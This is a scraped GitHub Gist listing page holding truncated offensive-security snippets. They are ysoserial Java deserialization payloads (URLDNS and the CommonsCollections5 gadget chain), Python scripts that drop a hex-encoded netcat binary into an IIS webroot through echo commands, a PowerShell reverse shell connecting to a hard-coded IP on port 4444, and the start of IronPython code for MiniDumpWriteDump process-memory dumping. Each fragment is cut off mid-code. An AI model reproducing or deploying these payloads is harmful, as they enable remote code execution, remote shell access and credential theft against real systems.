Skip to content

Instantly share code, notes, and snippets.

package ysoserial.payloads;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import ysoserial.payloads.util.PayloadRunner;
import java.io.*;
import java.lang.reflect.Array;
public Object getObject(final String url) throws Exception {
HashMap ht = new HashMap();
URL u = new URL(url);
ht.put(u, url); // <===
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
@0xfatty
0xfatty / CC5.java
Created April 16, 2020 15:24 — forked from testanull/CC5.java
CommonsCollections5
package ysoserial.payloads;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
@0xfatty
0xfatty / create_nc.py
Created April 16, 2020 15:24 — forked from testanull/create_nc.py
Create nc from bat
commands = """echo n 1.dll >C:\\Inetpub\\wwwroot\\123.hex
echo e 0100 >>C:\\Inetpub\\wwwroot\\123.hex
echo 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 >>C:\\Inetpub\\wwwroot\\123.hex
echo e 0180 >>C:\\Inetpub\\wwwroot\\123.hex
echo 50 45 00 00 4c 01 03 00 b9 8e ae 34 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 00 00 70 00 00 00 10 00 00 00 d0 00 00 b0 4b 01 00 00 e0 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 01 00 00 10 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 >>C:\\Inetpub\\wwwroot\\123.hex
echo e 0200 >>C:\\Inetpub\\wwwro
@0xfatty
0xfatty / create_netcat.py
Created April 16, 2020 15:24 — forked from testanull/create_netcat.py
Netcat delivered with bat
import os
commands = """
4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b9 8e ae 34 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 00 00 70 00 00 00 10 00 00 00 d0 00 00 b0 4b 01 00 00 e0 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 01 00 00 10 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 01 00 d4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
$socket = new-object System.Net.Sockets.TcpClient('207.148.76.98', 4444);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
# This is an example of how to run MiniDumpWriteDump functionality
# natively in IronPython without a C# wrapper.
from System.Runtime.InteropServices import DllImportAttribute, PreserveSigAttribute
from System.Diagnostics import Process
from System.IO import FileStream, FileMode, FileAccess,FileShare
import clrtype, System
class NativeMethods(object):
__metaclass__ = clrtype.ClrClass